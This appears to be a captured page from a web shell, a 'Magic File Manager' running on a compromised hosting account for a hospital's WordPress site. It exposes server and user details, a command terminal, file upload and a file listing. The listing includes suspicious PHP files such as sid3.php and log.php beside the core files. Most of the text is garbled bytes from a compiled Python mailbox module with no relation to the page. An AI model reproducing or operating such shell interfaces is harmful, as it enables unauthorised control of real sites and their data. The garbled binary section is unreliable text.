✨ Magic File Manager

🚀 Hostinger Optimized
🖥� Server: Apache
💻 System: Linux bom1plzcpnl503817.prod.bom1.secureserver.net 4.18.0-553.141.2.lve.el8.x86_64 #1 SMP Wed Jul 8 16:10:02 UTC 2026 x86_64
👤 User: pnj6a06usxf3 (9714991)
� PHP: 8.1.34
🚫 Disabled: ✨ NONE

💻 Terminal

� /home/pnj6a06usxf3/public_html/shivshaktihospital.co.in
$

� Create New

⬆� Upload File

📊 Max upload: 32M | 📦 Max POST: 128M

📄 Name📊 Size🔒 Perm⚡ Actions
� .well-known--drwxr-xr-x
� shivshaktihospital.com--drwxr-xr-x
� wp-admin--drwxr-xr-x
� wp-content--drwxr-xr-x
� wp-includes--drwxr-xr-x
⚙� .htaccess0.88 KB-rw-r--r--
📄 .htaccess.bk0.556 KB-rw-r--r--
📄 error_log1.21 MB-rw-r--r--
� index.php0.396 KB-rw-r--r--
📃 license.txt19.437 KB-rw-r--r--
� log.php63.893 KB-rw-r--r--
� readme.html7.233 KB-rw-r--r--
📦 shivshaktihospital.com.zip499.69 MB-rw-r--r--
� sid3.php55.304 KB-rw-r--r--
� wp-activate.php7.537 KB-rw-r--r--
� wp-blog-header.php0.343 KB-rw-r--r--
� wp-comments-post.php2.269 KB-rw-r--r--
� wp-config-sample.php3.261 KB-rw-r--r--
� wp-config.php3.16 KB-rw-r--r--
� wp-cron.php5.485 KB-rw-r--r--
� wp-links-opml.php2.435 KB-rw-r--r--
� wp-load.php3.845 KB-rw-r--r--
� wp-login.php51.305 KB-rw-r--r--
� wp-mail.php8.522 KB-rw-r--r--
� wp-postnews.php12.595 KB-rw-r--r--
� wp-settings.php32.375 KB-rw-r--r--
� wp-signup.php34.259 KB-rw-r--r--
� wp-trackback.php5.27 KB-rw-r--r--
� xmlrpc.php3.13 KB-rw-r--r--
3 \ 3ã@sRdZddlZddlZddlZddlZddlZddlZddlZddlZddl Zddl Zddl Z ddl Z y ddl Z Wnek rˆdZ YnXddddddd d d d d ddddddgZejjdƒZGdd„dƒZGdd„deƒZGdd„deƒZGdd„deƒZGdd„deƒZGdd„deƒZGdd„deƒZGdd„deƒZGdd „d ejjƒZGd d „d eƒZGd!d"„d"eƒZGd#d „d eƒZGd$d „d eƒZGd%d „d eƒZ Gd&d„deƒZ!Gd'd(„d(ƒZ"Gd)d*„d*e"ƒZ#d=d,d-„Z$d.d/„Z%d0d1„Z&d2d3„Z'd4d5„Z(d6d7„Z)Gd8d„de*ƒZ+Gd9d„de+ƒZ,Gd:d„de+ƒZ-Gd;d„de+ƒZ.GdzDRead/write support for Maildir, mbox, MH, Babyl, and MMDF mailboxes.éNÚMailboxÚMaildirÚmboxÚMHÚBabylÚMMDFÚMessageÚMaildirMessageÚ mboxMessageÚ MHMessageÚ BabylMessageÚ MMDFMessageÚErrorÚNoSuchMailboxErrorÚ NotEmptyErrorÚExternalClashErrorÚ FormatErrorÚasciic@seZdZdZdCdd„Zdd„Zdd „Zd d „Zd d „Zdd„Z dDdd„Z dd„Z dd„Z dd„Z dd„Zdd„Zdd„Zdd„Zd d!„Zd"d#„Zd$d%„Zd&d'„Zd(d)„Zd*d+„Zd,d-„Zd.d/„ZdEd0d1„Zd2d3„ZdFd4d5„Zd6d7„Zd8d9„Zd:d;„Zdd?„Z!d@Z"dGdAdB„Z#dS)Hrz*A group of messages in a particular place.NTcCs tjjtjj|ƒƒ|_||_dS)zInitialize a Mailbox instance.N)ÚosÚpathÚabspathÚ expanduserÚ_pathÚ_factory)ÚselfrÚfactoryÚcreate©rú/usr/lib64/python3.6/mailbox.pyÚ__init__$szMailbox.__init__cCs tdƒ‚dS)z$Add message and return assigned key.z&Method must be implemented by subclassN)ÚNotImplementedError)rÚmessagerrrÚadd)sz Mailbox.addcCs tdƒ‚dS)z=Remove the keyed message; raise KeyError if it doesn't exist.z&Method must be implemented by subclassN)r )rÚkeyrrrÚremove-szMailbox.removecCs|j|ƒdS)N)r$)rr#rrrÚ __delitem__1szMailbox.__delitem__c Cs(y|j|ƒWntk r"YnXdS)z'If the keyed message exists, remove it.N)r$ÚKeyError)rr#rrrÚdiscard4szMailbox.discardcCs tdƒ‚dS)z>Replace the keyed message; raise KeyError if it doesn't exist.z&Method must be implemented by subclassN)r )rr#r!rrrÚ __setitem__;szMailbox.__setitem__c Cs$y |j|ƒStk r|SXdS)z9Return the keyed message, or default if it doesn't exist.N)Ú __getitem__r&)rr#ÚdefaultrrrÚget?s z Mailbox.getc Cs6|js|j|ƒStj|j|ƒƒ� }|j|ƒSQRXdS)z=Return the keyed message; raise KeyError if it doesn't exist.N)rÚ get_messageÚ contextlibÚclosingÚget_file)rr#Úfilerrrr)Fs zMailbox.__getitem__cCs tdƒ‚dS)z4Return a Message representation or raise a KeyError.z&Method must be implemented by subclassN)r )rr#rrrr,NszMailbox.get_messagecCstj|j|ƒƒjƒS)zœReturn a string representation or raise a KeyError. Uses email.message.Message to create a 7bit clean string representation of the message.)ÚemailÚmessage_from_bytesÚ get_bytesÚ as_string)rr#rrrÚ get_stringRszMailbox.get_stringcCs tdƒ‚dS)z8Return a byte string representation or raise a KeyError.z&Method must be implemented by subclassN)r )rr#rrrr3YszMailbox.get_bytescCs tdƒ‚dS)z6Return a file-like representation or raise a KeyError.z&Method must be implemented by subclassN)r )rr#rrrr/]szMailbox.get_filecCs tdƒ‚dS)zReturn an iterator over keys.z&Method must be implemented by subclassN)r )rrrrÚiterkeysaszMailbox.iterkeyscCs t|jƒƒS)zReturn a list of keys.)Úlistr6)rrrrÚkeysesz Mailbox.keysc cs@x:|jƒD].}y ||}Wntk r0w YnX|Vq WdS)z%Return an iterator over all messages.N)r6r&)rr#ÚvaluerrrÚ itervaluesis  zMailbox.itervaluescCs|jƒS)N)r:)rrrrÚ__iter__rszMailbox.__iter__cCs t|jƒƒS)z,Return a list of messages. Memory intensive.)r7r:)rrrrÚvaluesuszMailbox.valuesc csDx>|jƒD]2}y ||}Wntk r0w YnX||fVq WdS)z.Return an iterator over (key, message) tuples.N)r6r&)rr#r9rrrÚ iteritemsys  zMailbox.iteritemscCs t|jƒƒS)z9Return a list of (key, message) tuples. Memory intensive.)r7r=)rrrrÚitems‚sz Mailbox.itemscCs tdƒ‚dS)z9Return True if the keyed message exists, False otherwise.z&Method must be implemented by subclassN)r )rr#rrrÚ __contains__†szMailbox.__contains__cCs tdƒ‚dS)z*Return a count of messages in the mailbox.z&Method must be implemented by subclassN)r )rrrrÚ__len__ŠszMailbox.__len__cCs x|jƒD]}|j|ƒq WdS)zDelete all messages.N)r8r')rr#rrrÚclearŽsz Mailbox.clearc Cs0y ||}Wntk r |SX|j|ƒ|S)z3Delete the keyed message and return it, or default.)r&r')rr#r*ÚresultrrrÚpop“s   z Mailbox.popcCs*x$|jƒD]}||j|ƒfSWtdƒ‚dS)z6Delete an arbitrary (key, message) pair and return it.zNo messages in mailboxN)r6rCr&)rr#rrrÚpopitemœszMailbox.popitemc Csxt|dƒr|jƒ}nt|dƒr(|jƒ}n|}d}x6|D].\}}y |||<Wq6tk rbd}Yq6Xq6W|rttdƒ‚dS)z4Change the messages that correspond to certain keys.r=r>FTzNo message with key(s)N)Úhasattrr=r>r&)rÚargÚsourceZbad_keyr#r!rrrÚupdate£s     zMailbox.updatecCs tdƒ‚dS)z&Write any pending changes to the disk.z&Method must be implemented by subclassN)r )rrrrÚflush´sz Mailbox.flushcCs tdƒ‚dS)zLock the mailbox.z&Method must be implemented by subclassN)r )rrrrÚlock¸sz Mailbox.lockcCs tdƒ‚dS)z#Unlock the mailbox if it is locked.z&Method must be implemented by subclassN)r )rrrrÚunlock¼szMailbox.unlockcCs tdƒ‚dS)zFlush and close the mailbox.z&Method must be implemented by subclassN)r )rrrrÚcloseÀsz Mailbox.closec Cs,y |jdƒStk r&tdƒ‚YnXdS)Nrz?String input must be ASCII-only; use bytes or a Message instead)ÚencodeÚ UnicodeErrorÚ ValueError)rr!rrrÚ_string_to_bytesÄs zMailbox._string_to_bytesFc Cst|tjjƒrxtjƒ}tjj||dƒ}|j|ƒ|j dƒ|j ƒ}|j dt ƒ}|j |ƒ|jrt|jt ƒ rt|j t ƒ�n†t|tttjfƒ�rt|tjƒr®tjdtdƒ|jƒ}t|tƒrÂ|j|ƒ}|rÒ|j ddƒ}|j dt ƒ}|j |ƒ|joø|jt ƒ �rþ|j t ƒnöt|dƒ�rît|dƒ�r4tjd tdƒ|j}d }xŒ|jƒ}|jd ƒ�r`|d d…d}n|jd ƒ�r||d d…d}|�s„P|�r¦|jdƒ�r¦d|dd …}|j dt ƒ}|j |ƒ|}�q:W|j�rþ|�rþ|jt ƒ �rþ|j t ƒntdt|ƒƒ‚d S)z%Dump message contents to target file.ró z8Use of StringIO input is deprecated, use BytesIO insteadés From s >From ÚreadÚbufferzDUse of text mode files is deprecated, use a binary mode file insteadNs éó ésFrom s>From ézInvalid message type: %séþÿÿÿéÿÿÿÿ)Ú isinstancer1r!rÚioÚBytesIOÚ generatorÚBytesGeneratorÚflattenÚseekrSÚreplaceÚlinesepÚwriteÚ_append_newlineÚendswithÚstrÚbytesÚStringIOÚwarningsÚwarnÚDeprecationWarningÚgetvaluerPrErTÚreadlineÚ startswithÚ TypeErrorÚtype) rr!ÚtargetZ mangle_from_rTÚgenÚdataZlastlineÚlinerrrÚ _dump_messageÑsZ                   zMailbox._dump_message)NT)N)N)N)F)$Ú__name__Ú __module__Ú __qualname__Ú__doc__rr"r$r%r'r(r+r)r,r5r3r/r6r8r:r;r<r=r>r?r@rArCrDrHrIrJrKrLrPrervrrrrr!sB       c@sÚeZdZdZdZd6dd„Zdd„Zd d „Zd d „Zd d„Z dd„Z dd„Z dd„Z dd„Z dd„Zdd„Zdd„Zdd„Zdd „Zd!d"„Zd#d$„Zd%d&„Zd'd(„Zd)d*„Zd+d,„Zd-Zd.d/„Zd0d1„Zd2d3„Zd4d5„ZdS)7rzA qmail-style Maildir mailbox.ú:NTcCs°tj||||ƒtjj|jdƒtjj|jdƒtjj|jdƒdœ|_tjj|jƒsŽ|r„tj|jdƒx*|jj ƒD]}tj|dƒqnWn t |jƒ‚i|_ dddœ|_ d|_ d|_d S) zInitialize a Maildir instance.ÚtmpÚnewÚcur)r|r}r~iÀr)r~r}gš™™™™™¹?N)rrrrÚjoinrÚ_pathsÚexistsÚmkdirr<rÚ_tocÚ _toc_mtimesÚ _last_readÚ _skewfactor)rÚdirnamerrrrrrr s  zMaildir.__init__cCs~|jƒ}y|j||ƒWn*tk rB|jƒtj|jƒ‚YnXt|ƒt|t ƒr||j ƒ}|j |j ƒ}||j kr„d}nd}d}tj j|jƒj|j ƒd}tj j|j|||ƒ}t|t ƒrÞtj|jtj j|jƒ|jƒfƒyLytj|j|ƒWn(ttfk �rtj|j|ƒYnXtj|jƒWnNtk �rx}z0tj|jƒ|jtjk�rftd|ƒ‚n‚WYdd}~XnX|S)z$Add message and return assigned key.Úr}rz$Name clash with existing message: %sN)Ú _create_tmprvÚ BaseExceptionrLrr$ÚnameÚ _sync_closer[r Ú get_subdirÚcolonÚget_inforÚbasenameÚsplitrrÚutimeÚgetatimeÚget_dateÚlinkÚAttributeErrorÚPermissionErrorÚrenameÚOSErrorÚerrnoZEEXISTr)rr!Ztmp_fileÚsubdirÚsuffixÚuniqÚdestÚerrrr"!sB      z Maildir.addcCs tjtjj|j|j|ƒƒƒdS)z=Remove the keyed message; raise KeyError if it doesn't exist.N)rr$rrrÚ_lookup)rr#rrrr$KszMaildir.removec Cs,y|j|ƒWnttfk r&YnXdS)z'If the keyed message exists, remove it.N)r$r&ÚFileNotFoundError)rr#rrrr'OszMaildir.discardc CsÊ|j|ƒ}|j|ƒ}|j|ƒ}t|tƒr.|}n|}tjj|ƒ}|j|kr`|j|j|jƒd}nd}|j |ƒtjj |j |ƒ} tjj |j |||ƒ} t|tƒrºtj | tjj | ƒ|jƒfƒtj| | ƒdS)z>Replace the keyed message; raise KeyError if it doesn't exist.rWrˆNrZ)r r"r[r rrr‡rŽr‘r'rrr’r“r”r˜) rr#r!Z old_subpathZtemp_keyZ temp_subpathZdominant_subpathr›rœZtmp_pathÚnew_pathrrrr(Ws"        zMaildir.__setitem__c Cs¢|j|ƒ}ttjj|j|ƒdƒ� }|jr4|j|ƒ}nt|ƒ}WdQRXtjj|ƒ\}}|j |ƒ|j |kr€|j |j|j ƒdƒ|j tjj tjj|j|ƒƒƒ|S)z4Return a Message representation or raise a KeyError.ÚrbNrWrZ)r Úopenrrrrrr r‘Ú set_subdirrŽÚset_infoÚset_dateÚgetmtime)rr#ZsubpathÚfÚmsgr›r‹rrrr,rs    zMaildir.get_messagec Cs8ttjj|j|j|ƒƒdƒ�}|jƒjtdƒSQRXdS)z2Return a bytes representation or raise a KeyError.r£rQN) r¤rrrrr rSrbrc)rr#r©rrrr3�szMaildir.get_bytescCs$ttjj|j|j|ƒƒdƒ}t|ƒS)z6Return a file-like representation or raise a KeyError.r£)r¤rrrrr Ú _ProxyFile)rr#r©rrrr/†szMaildir.get_filec csH|jƒx:|jD]0}y|j|ƒWntk r8wYnX|VqWdS)zReturn an iterator over keys.N)Ú_refreshrƒr r&)rr#rrrr6‹s zMaildir.iterkeyscCs|jƒ||jkS)z9Return True if the keyed message exists, False otherwise.)r¬rƒ)rr#rrrr?•szMaildir.__contains__cCs|jƒt|jƒS)z*Return a count of messages in the mailbox.)r¬Úlenrƒ)rrrrr@šszMaildir.__len__cCsdS)z"Write any pending changes to disk.Nr)rrrrrIŸsz Maildir.flushcCsdS)zLock the mailbox.Nr)rrrrrJ¥sz Maildir.lockcCsdS)z#Unlock the mailbox if it is locked.Nr)rrrrrK©szMaildir.unlockcCsdS)zFlush and close the mailbox.Nr)rrrrrL­sz Maildir.closecCs`g}xVtj|jƒD]F}t|ƒdkr|ddkrtjjtjj|j|ƒƒr|j|dd…ƒqW|S)zReturn a list of folder names.rWrÚ.N)rÚlistdirrr­rÚisdirrÚappend)rrBÚentryrrrÚ list_folders±s zMaildir.list_folderscCs ttjj|jd|ƒ|jdd�S)z/Return a Maildir instance for the named folder.r®F)rr)rrrrrr)rÚfolderrrrÚ get_folderºszMaildir.get_foldercCs\tjj|jd|ƒ}t||jd�}tjj|dƒ}tjj|ƒsXtjtj|tj tj Bdƒƒ|S)z>Create a folder and return a Maildir instance representing it.r®)rZ maildirfolderi¶) rrrrrrr�rLr¤ÚO_CREATÚO_WRONLY)rr´rrBZmaildirfolder_pathrrrÚ add_folderÀs zMaildir.add_foldercCs,tjj|jd|ƒ}xTtjtjj|dƒƒtjtjj|dƒƒD](}t|ƒdksZ|ddkr>td|ƒ‚q>WxPtj|ƒD]B}|dkrv|dkrv|dkrvtjjtjj||ƒƒrvtd||fƒ‚qvWx`tj|d d �D]N\}}}x |D]}tj tjj||ƒƒqÜWx |D]}tj tjj||ƒƒqþWqÌWtj |ƒd S) z-Delete the named folder, which must be empty.r®r}r~rWrzFolder contains message(s): %sr|z%Folder contains subdirectory '%s': %sF)ÚtopdownN) rrrrr¯r­rr°Úwalkr$Úrmdir)rr´rr²ÚrootÚdirsÚfilesrrrÚ remove_folderÊs   zMaildir.remove_foldercCs\tjƒ}xNtjtjj|jdƒƒD]4}tjj|jd|ƒ}|tjj|ƒdkr tj|ƒq WdS)zDelete old files in "tmp".r|i@úN)Útimerr¯rrrr“r$)rÚnowr²rrrrÚcleanÝs z Maildir.cleanrWcCsÒtjƒ}tjƒ}d|kr$|jddƒ}d|kr8|jddƒ}dt|ƒt|ddƒtjƒtj|f}tj j |j d|ƒ}ytj |ƒWn@t k rÀtjd7_yt|ƒStk rºYnXYnXtd |ƒ‚d S) z=Create a file in the tmp subdirectory and open and return it.ú/z\057r{z\072z%s.M%sP%sQ%s.%srWg€„.Ar|z&Name clash prevented file creation: %sN)rÀÚsocketÚ gethostnamerbÚintrÚgetpidrÚ_countrrrÚstatr¡Ú_create_carefullyÚFileExistsErrorr)rrÁZhostnamer�rrrrr‰çs&    zMaildir._create_tmpcCsätjƒ|jd|jkrbd}x<|jD]2}tjj|j|ƒ}||j|krLd}||j|<q$W|sbdSi|_xl|jD]b}|j|}xRtj |ƒD]D}tjj ||ƒ}tjj |ƒrªqŠ|j |j ƒd}tjj ||ƒ|j|<qŠWqpWtjƒ|_dS)z!Update table of contents mapping.rUFTNr)rÀr…r†r„rrr¨r€rƒr¯rr°r‘rŽ)rZrefreshr›Úmtimerr²Úpr�rrrr¬ÿs&    zMaildir._refreshcCszy,tjjtjj|j|j|ƒƒr*|j|SWntk r@YnX|jƒy |j|Stk rttd|ƒ‚YnXdS)z=Use TOC to return subpath for given key, or raise a KeyError.zNo message with key: %sN)rrr�rrrƒr&r¬)rr#rrrr #s zMaildir._lookupc CsVt|dƒs|jƒ|_xReplace the keyed message; raise KeyError if it doesn't exist.TN)r rÛrƒr×)rr#r!rrrr(hs z_singlefileMailbox.__setitem__ccs|jƒ|jjƒEdHdS)zReturn an iterator over keys.N)r rƒr8)rrrrr6nsz_singlefileMailbox.iterkeyscCs|jƒ||jkS)z9Return True if the keyed message exists, False otherwise.)r rƒ)rr#rrrr?ssz_singlefileMailbox.__contains__cCs|jƒt|jƒS)z*Return a count of messages in the mailbox.)r r­rƒ)rrrrr@xsz_singlefileMailbox.__len__cCs|jst|jƒd|_dS)zLock the mailbox.TN)rÙÚ _lock_filerÕ)rrrrrJ}s z_singlefileMailbox.lockcCs|jrt|jƒd|_dS)z#Unlock the mailbox if it is locked.FN)rÙÚ _unlock_filerÕ)rrrrrKƒs z_singlefileMailbox.unlockc Csì|js |jrt|jƒd|_dS|jdk s.t‚|jjddƒ|jjƒ}||jkrbt d|j|fƒ‚t |j ƒ}y¬i}|j |ƒxŽt |jjƒƒD]|}|j|\}}|jj|ƒ|j|ƒ|jƒ}x0|jjtd||jjƒƒƒ}|sàP|j|ƒq¾W||jƒf||<|j|ƒqŒW|jƒ|_Wn"|jƒtj|jƒ‚YnXt|ƒ|jjƒtj|j ƒj} tj|j| ƒytj|j|j ƒWn2tk �r°tj|j ƒtj|j|j ƒYnXt|j dƒ|_||_d|_d|_|j�rèt |jdd�dS) z"Write any pending changes to disk.FNrrUz4Size of mailbox file changed (expected %i, found %i)izrb+)Údotlock)!r×rØÚ _sync_flushrÕrƒÚAssertionErrorraÚtellrÚrÚ_create_temporaryrÚ_pre_mailbox_hookÚsortedr8Ú_pre_message_hookrSÚminrdÚ_post_message_hookrLrr$r‹rŒrÉÚst_modeÚchmodr˜rËr¤rÙrÜ) rZcur_lenZnew_fileZnew_tocr#ÚstartÚstopZ new_startrTÚmoderrrrI‰s`           z_singlefileMailbox.flushcCsdS)z,Called before writing the mailbox to file f.Nr)rr©rrrrãÉsz$_singlefileMailbox._pre_mailbox_hookcCsdS)z-Called before writing each message to file f.Nr)rr©rrrråÍsz$_singlefileMailbox._pre_message_hookcCsdS)z,Called after writing each message to file f.Nr)rr©rrrrçÑsz%_singlefileMailbox._post_message_hookcCs4z |jƒWdz|jr|jƒWd|jjƒXXdS)zFlush and close the mailbox.N)rIrÙrKrÕrL)rrrrrLÕs   z_singlefileMailbox.closec CsJ|jdkr|jƒ|dk rFy |j|Stk rDtd|ƒ‚YnXdS)z'Return (start, stop) or raise KeyError.NzNo message with key: %s)rƒÚ _generate_tocr&)rr#rrrr às  z_singlefileMailbox._lookupc Csž|jjddƒ|jjƒ}t|jƒdkr:|j r:|j|jƒy&|j|jƒ|j|ƒ}|j |jƒWn"t k r‚|jj |ƒ‚YnX|jj ƒ|jjƒ|_ |S)z;Append message to mailbox and return (start, stop) offsets.rrU)rÕrarár­rƒr×rãråÚ_install_messagerçrŠÚtruncaterIrÚ)rr!ZbeforeZoffsetsrrrrÛês       z"_singlefileMailbox._append_message)NT)N)rwrxryrzrr"r$r(r6r?r@rJrKrIrãrårçrLr rÛrrrrrÑ>s"  @ rÑc@sBeZdZdZdZdd„Zddd„Zddd „Zdd d „Zd d „Z dS)Ú _mboxMMDFzAn mbox or MMDF mailbox.TcCsp|j|ƒ\}}|jj|ƒ|jjƒjtdƒ}|jj||jjƒƒ}|j|jtdƒƒ}|j |dd…j dƒƒ|S)z4Return a Message representation or raise a KeyError.órQrXNr) r rÕrarnrbrcrSráÚ_message_factoryÚset_fromÚdecode)rr#rêrëÚ from_lineÚstringrªrrrr,s z_mboxMMDF.get_messageFcCstj|j|ƒƒj|d�S)z3Return a string representation or raise a KeyError.)Úunixfrom)r1r2r3r4)rr#Úfrom_rrrr5sz_mboxMMDF.get_stringcCsJ|j|ƒ\}}|jj|ƒ|s(|jjƒ|jj||jjƒƒ}|jtdƒS)z3Return a string representation or raise a KeyError.rQ)r rÕrarnrSrárbrc)rr#rørêrërörrrr3s   z_mboxMMDF.get_bytescCs<|j|ƒ\}}|jj|ƒ|s(|jjƒt|j|jjƒ|ƒS)z6Return a file-like representation or raise a KeyError.)r rÕrarnÚ _PartialFilerá)rr#rørêrërrrr/s   z_mboxMMDF.get_filecCs d}t|tƒr|j|ƒ}t|tƒrf|jdƒrf|jdƒ}|dkr\|d|…}||dd…}q°|}d}nJt|tƒrˆ|jƒjdƒ}d|}n(t|t j j ƒr°|j ƒ}|dk r°|jdƒ}|dkrÎdt jt jƒƒjƒ}|jjƒ}|jj|tƒ|j||j|jƒ|jjƒ}||fS) z1Format a message and blindly write to self._file.NsFrom rQrWrñrsFrom MAILER-DAEMON rZ)r[rgrPrhroÚfindÚ_mboxMMDFMessageÚget_fromrMr1r!rÚ get_unixfromrÀÚasctimeÚgmtimerÕrárdrcrvÚ _mangle_from_)rr!rõÚnewlineZauthorrêrërrrrî&s0         z_mboxMMDF._install_messageN)F)F)F) rwrxryrzrr,r5r3r/rîrrrrrðs  rðc@s2eZdZdZdZdZd dd„Zdd„Zdd „ZdS) rzA classic mbox mailbox.TNcCst|_tj||||ƒdS)zInitialize an mbox mailbox.N)r ròrðr)rrrrrrrrLsz mbox.__init__cCs|jtƒdS)z,Called after writing each message to file f.N)rdrc)rr©rrrrçQszmbox._post_message_hookcCsìgg}}d}|jjdƒx |jjƒ}|jjƒ}|jdƒr|t|ƒt|ƒkrl|rb|j|ttƒƒn |j|ƒ|j|ƒd}q|s¦|r˜|j|ttƒƒn |j|ƒPq|tkr´d}qd}qWtt t ||ƒƒƒ|_ t|j ƒ|_ |jjƒ|_ dS)z0Generate key-to-(start, stop) table of contents.FrsFrom TN)rÕrarárnror­r±rcÚdictÚ enumerateÚziprƒrÖrÚ)rÚstartsÚstopsZlast_was_emptyÚline_posrurrrríUs0         zmbox._generate_toc)NT) rwrxryrzrrerrçrírrrrrCs  c@s2eZdZdZd dd„Zdd„Zdd „Zd d „ZdS) rzAn MMDF mailbox.NTcCst|_tj||||ƒdS)zInitialize an MMDF mailbox.N)r ròrðr)rrrrrrrrzsz MMDF.__init__cCs|jdtƒdS)z-Called before writing each message to file f.sN)rdrc)rr©rrrråszMMDF._pre_message_hookcCs|jtdtƒdS)z,Called after writing each message to file f.sN)rdrc)rr©rrrrçƒszMMDF._post_message_hookcCsægg}}|jjdƒd}xŒ|}|jjƒ}|jjƒ}|jdtƒrž|j|ƒxV|}|jjƒ}|jjƒ}|dtkrˆ|j|ttƒƒPqN|sN|j|ƒPqNWq|sPqWtt t ||ƒƒƒ|_ t|j ƒ|_ |jjddƒ|jjƒ|_ dS)z0Generate key-to-(start, stop) table of contents.rsrUN)rÕrarnrárorcr±r­rrrrƒrÖrÚ)rrrÚnext_posrrurrrrí‡s2          zMMDF._generate_toc)NT)rwrxryrzrrårçrírrrrrws  c@sÂeZdZdZd0dd„Zdd„Zdd „Zd d „Zd d „Zdd„Z dd„Z dd„Z dd„Z dd„Z dd„Zdd„Zdd„Zdd„Zd d!„Zd"d#„Zd$d%„Zd&d'„Zd(d)„Zd*d+„Zd,d-„Zd.d/„ZdS)1rzAn MH mailbox.NTcCsttj||||ƒtjj|jƒsj|r`tj|jdƒtjtjtjj |jdƒtj tj Btj Bdƒƒn t |jƒ‚d|_dS)zInitialize an MH instance.iÀz .mh_sequencesi€FN)rrrrr�rr‚rLr¤rr¶ÚO_EXCLr·rrÙ)rrrrrrrr§s z MH.__init__cCsä|jƒ}t|ƒdkrd}n t|ƒd}tjj|jt|ƒƒ}t|ƒ}d}zŠ|j rVt |ƒzfy|j ||ƒWn:t k r¢|j r†t |ƒt|ƒd}tj|ƒ‚YnXt|tƒrº|j||ƒWd|j rÌt |ƒXWd|sÞt|ƒX|S)z$Add message and return assigned key.rrWFTN)r8r­ÚmaxrrrrrgrÊrÙrÜrvrŠrÝrŒr$r[r Ú_dump_sequences)rr!r8Znew_keyr¢r©Úclosedrrrr"³s6     zMH.addcCsxtjj|jt|ƒƒ}yt|dƒ}Wn>tk r`}z"|jtjkrNt d|ƒ‚n‚WYdd}~XnX|j ƒtj |ƒdS)z=Remove the keyed message; raise KeyError if it doesn't exist.zrb+zNo message with key: %sN) rrrrrgr¤r™ršrÒr&rLr$)rr#rr©rŸrrrr$Õs z MH.removecCsÖtjj|jt|ƒƒ}yt|dƒ}Wn>tk r`}z"|jtjkrNt d|ƒ‚n‚WYdd}~XnXzd|j rrt |ƒz@tj tj|tj tjBƒƒ|j||ƒt|tƒr°|j||ƒWd|j rÂt|ƒXWdt|ƒXdS)z>Replace the keyed message; raise KeyError if it doesn't exist.zrb+zNo message with key: %sN)rrrrrgr¤r™ršrÒr&rÙrÜrLr·ÚO_TRUNCrvr[r r rÝrŒ)rr#r!rr©rŸrrrr(ãs$   zMH.__setitem__c Csìy@|jr$ttjj|jt|ƒƒdƒ}nttjj|jt|ƒƒdƒ}Wn>tk r~}z"|jtj krlt d|ƒ‚n‚WYdd}~XnX|�2|jr”t |ƒz t |ƒ}Wd|jr°t |ƒXWdQRXx*|jƒjƒD]\}}||krÊ|j|ƒqÊW|S)z4Return a Message representation or raise a KeyError.zrb+r£zNo message with key: %sN)rÙr¤rrrrrgr™ršrÒr&rÜr rÝÚ get_sequencesr>Ú add_sequence)rr#r©rŸrªr‹Úkey_listrrrr,ûs&  zMH.get_messagec CsÄy@|jr$ttjj|jt|ƒƒdƒ}nttjj|jt|ƒƒdƒ}Wn>tk r~}z"|jtj krlt d|ƒ‚n‚WYdd}~XnX|�6|jr”t |ƒz|j ƒj tdƒS|jr´t|ƒXWdQRXdS)z2Return a bytes representation or raise a KeyError.zrb+r£zNo message with key: %sNrQ)rÙr¤rrrrrgr™ršrÒr&rÜrSrbrcrÝ)rr#r©rŸrrrr3s z MH.get_bytescCsfyttjj|jt|ƒƒdƒ}Wn>tk r\}z"|jtjkrJt d|ƒ‚n‚WYdd}~XnXt |ƒS)z6Return a file-like representation or raise a KeyError.r£zNo message with key: %sN) r¤rrrrrgr™ršrÒr&r«)rr#r©rŸrrrr/)s z MH.get_filecCsttdd„tj|jƒDƒƒƒS)zReturn an iterator over keys.css|]}|jƒrt|ƒVqdS)N)ÚisdigitrÆ)Ú.0r²rrrú 6szMH.iterkeys..)Úiterrärr¯r)rrrrr64sz MH.iterkeyscCstjjtjj|jt|ƒƒƒS)z9Return True if the keyed message exists, False otherwise.)rrr�rrrg)rr#rrrr?9szMH.__contains__cCstt|jƒƒƒS)z*Return a count of messages in the mailbox.)r­r7r6)rrrrr@=sz MH.__len__cCs2|js.ttjj|jdƒdƒ|_t|jƒd|_dS)zLock the mailbox.z .mh_sequenceszrb+TN)rÙr¤rrrrrÕrÜ)rrrrrJAs zMH.lockcCs(|jr$t|jƒt|jƒ|`d|_dS)z#Unlock the mailbox if it is locked.FN)rÙrÝrÕrŒ)rrrrrKHs   z MH.unlockcCsdS)z&Write any pending changes to the disk.Nr)rrrrrIPszMH.flushcCs|jr|jƒdS)zFlush and close the mailbox.N)rÙrK)rrrrrLTszMH.closecCs@g}x6tj|jƒD]&}tjjtjj|j|ƒƒr|j|ƒqW|S)zReturn a list of folder names.)rr¯rrr°rr±)rrBr²rrrr³Ys zMH.list_folderscCsttjj|j|ƒ|jdd�S)z+Return an MH instance for the named folder.F)rr)rrrrrr)rr´rrrrµasz MH.get_foldercCsttjj|j|ƒ|jd�S)z:Create a folder and return an MH instance representing it.)r)rrrrrr)rr´rrrr¸fsz MH.add_foldercCs`tjj|j|ƒ}tj|ƒ}|dgkr:tjtjj|dƒƒn|gkrDntd|jƒ‚tj|ƒdS)z-Delete the named folder, which must be empty.z .mh_sequenceszFolder not empty: %sN)rrrrr¯r$rr»)rr´rZentriesrrrr¿ks  zMH.remove_folderc s i}ttjj|jdƒddd��ä}t|jƒƒ‰xÐ|D]È}yž|jdƒ\}}tƒ}xT|jƒD]H}|jƒrr|j t |ƒƒqVdd„|jdƒDƒ\}} |j t || d ƒƒqVW‡fd d „t |ƒDƒ||<t||ƒd krÒ||=Wq2tk røtd |jƒƒ‚Yq2Xq2WWdQRX|S)z=Return a name-to-key-list dictionary to define each sequence.z .mh_sequencesÚrÚASCII)Úencodingr{css|]}t|ƒVqdS)N)rÆ)rÚxrrrr„sz#MH.get_sequences..ú-rWcsg|]}|ˆkr|‘qSrr)rr#)Úall_keysrrú †sz$MH.get_sequences..rz"Invalid sequence specification: %sN)r¤rrrrÚsetr8r‘rr"rÆrHÚrangerär­rOrÚrstrip) rZresultsr©rur‹Úcontentsr8Úspecrêrër)rrrws&    zMH.get_sequencesc Cs ttjj|jdƒddd�}zàtjtj|jtjtjBƒƒx¾|j ƒD]²\}}t |ƒdkrXqB|j |dƒd}d}xbt t |ƒƒD]R}|d |kr |sÊd }|j d ƒn*|r¼d}|j d ||fƒn|j d |ƒ|}q|W|rê|j t|ƒdƒqB|j dƒqBWWdt|ƒXdS)z:Set sequences using the given name-to-key-list dictionary.z .mh_sequenceszr+r)rrr{NFrWTrz%s %sz %sÚ )r¤rrrrrLr‹r·r 